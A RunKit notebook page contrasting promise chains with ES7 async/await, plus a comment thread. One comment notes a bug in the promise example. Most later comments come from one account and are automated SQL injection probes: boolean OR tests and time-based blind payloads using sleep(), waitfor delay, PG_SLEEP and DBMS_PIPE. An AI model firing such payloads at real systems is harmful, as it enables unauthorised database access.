Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

ES7 Async Functions

node v0.12.18
version: 1.0.0
endpointsharetweet
Async functions are a much easier way to create asynchronous code that has the benefits of promises, but maintains the structure of your old synchronous code. Instead of attaching .then and .catch methods, you can you can use normal semantics and try/catch statements:
var delay = require("bluebird").Promise.delay; function oldPromiseStyleFunction() { return delay(1000) .then(function() { console.log("One Second Passed!"); }) .then(delay(2000)) .then(function() { console.log("Two Seconds Passed!"); }) .catch(function() { console.log("An Error occured!"); }) } async function newAsyncFunction() { try { await delay(1000); console.log("One Second Passed!"); await delay(2000); console.log("Two Seconds Passed!"); } catch (anException) { console.log("An Error occured!"); } } await newAsyncFunction()
These two functions actually behave the same way.
Loading…

29 comments

  • posted 5 years ago by carusog
    Hi, thanks for sharing. There is an error in the promise version. On line 10 you need return a promise to be able to concatenate them. Right now both console logs are executed in parallel. Have a look at https://runkit.com/carusog/es7-async-functions-vs-promises
  • posted 4 years ago by therbendo
    500k?
  • posted 2 years ago by rdvnplt027
    500k
  • posted 2 years ago by rdvnplt027
    Two Seconds Passed
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    -1 OR 2+277-277-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1 OR 2+816-816-1=0+0+0+1
  • posted 3 days ago by xsjybldb
    -1' OR 2+50-50-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1' OR 2+129-129-1=0+0+0+1 or 'y0cfcMxd'='
  • posted 3 days ago by xsjybldb
    -1" OR 2+575-575-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 3 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 3 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 3 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 3 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    jW2uPOlr'; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -5 OR 689=(SELECT 689 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -5) OR 419=(SELECT 419 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    3HK9Q3jq' OR 188=(SELECT 188 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    zI2PcPjT') OR 930=(SELECT 930 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    29wEfm3U')) OR 97=(SELECT 97 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 3 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 3 days ago by xsjybldb
    1'"
  • posted 3 days ago by xsjybldb
    @@xYR0f

sign in to comment